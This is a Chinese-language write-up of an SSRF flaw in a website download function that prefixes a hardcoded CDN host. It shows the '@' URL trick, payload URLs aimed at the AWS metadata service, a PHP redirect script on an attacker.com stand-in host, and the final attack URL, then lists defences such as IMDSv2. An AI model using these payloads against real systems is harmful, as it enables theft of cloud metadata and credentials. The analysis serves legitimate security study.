AWS Metadata Disclosure via “Hardcoded Host” Download Function
字数 842 2025-08-26 22:11:51
AWS Metadata Disclosure via "Hardcoded Host" Download Function 漏洞分析与利用
漏洞概述
本文详细分析了一种通过"硬编码主机"下载功能导致的AWS元数据泄露漏洞。该漏洞存在于某些网站的下载功能实现中,攻击者可以利用URL重定向技术访问AWS内部元数据服务,从而获取敏感信息。
漏洞发现过程
-
初始发现下载链接格式:
https://redacted.com/download?file=/2019/08/file.pdf -
测试任意文件下载漏洞:
- 尝试访问
index.php失败 - 推测下载功能可能:
- 受到保护限制
- 通过CDN或其他主机重定向实现
- 尝试访问
技术原理分析
后端代码推测
漏洞网站可能使用类似以下PHP代码实现下载功能:
$host = 'https://cdn.redacted.com';
$file = $_GET['file'];
$download_url = $host .'/'. $file;
这种实现方式存在两个关键问题:
- 硬编码了主机地址
- 未对用户输入的
file参数进行严格过滤
URL重定向技术
攻击者可以利用@符号进行URL重定向:
https://redacted.com/download?file=/2019/08/file.pdf@www.google.com
这种技术可以:
- 绕过部分URL验证
- 将请求重定向到攻击者控制的服务器
AWS元数据泄露利用
AWS元数据服务
AWS EC2实例通过特定内部URL提供元数据服务:
http://169.254.169.254/latest/meta-data/
利用步骤
-
直接尝试访问AWS元数据失败(HTTP协议问题):
https://redacted.com/download?file=/2019/08/file.pdf@169.254.169.254/latest/meta-data/ -
解决方法:使用HTTPS中间跳转
- 创建一个简单的PHP重定向脚本:
<?php header('location: http://169.254.169.254/latest/meta-data/') - 将脚本上传到HTTPS服务器
- 构造最终攻击URL:
https://redacted.com/download?file=/2019/08/file.pdf@attacker.com/redirect.php
- 创建一个简单的PHP重定向脚本:
可获取的敏感信息
成功利用后可获取:
- 本地主机名和公共主机名
- 本地IP地址和公共IP地址
- 可能的SSH私钥(用于服务器访问)
防御措施
-
代码层面:
- 避免硬编码主机地址
- 严格验证用户输入的文件路径
- 实现白名单机制限制可下载文件
-
AWS安全配置:
- 限制元数据服务的访问权限
- 使用IMDSv2(需要令牌的元数据服务版本)
- 定期轮换敏感凭证
-
网络层面:
- 实施严格的出站流量控制
- 监控异常的元数据服务访问
总结
该漏洞展示了看似无害的文件下载功能如何成为攻击者获取敏感信息的入口点。开发人员应始终对用户输入保持警惕,并避免在代码中硬编码敏感信息或配置。对于AWS环境,应特别注意元数据服务的保护,防止信息泄露。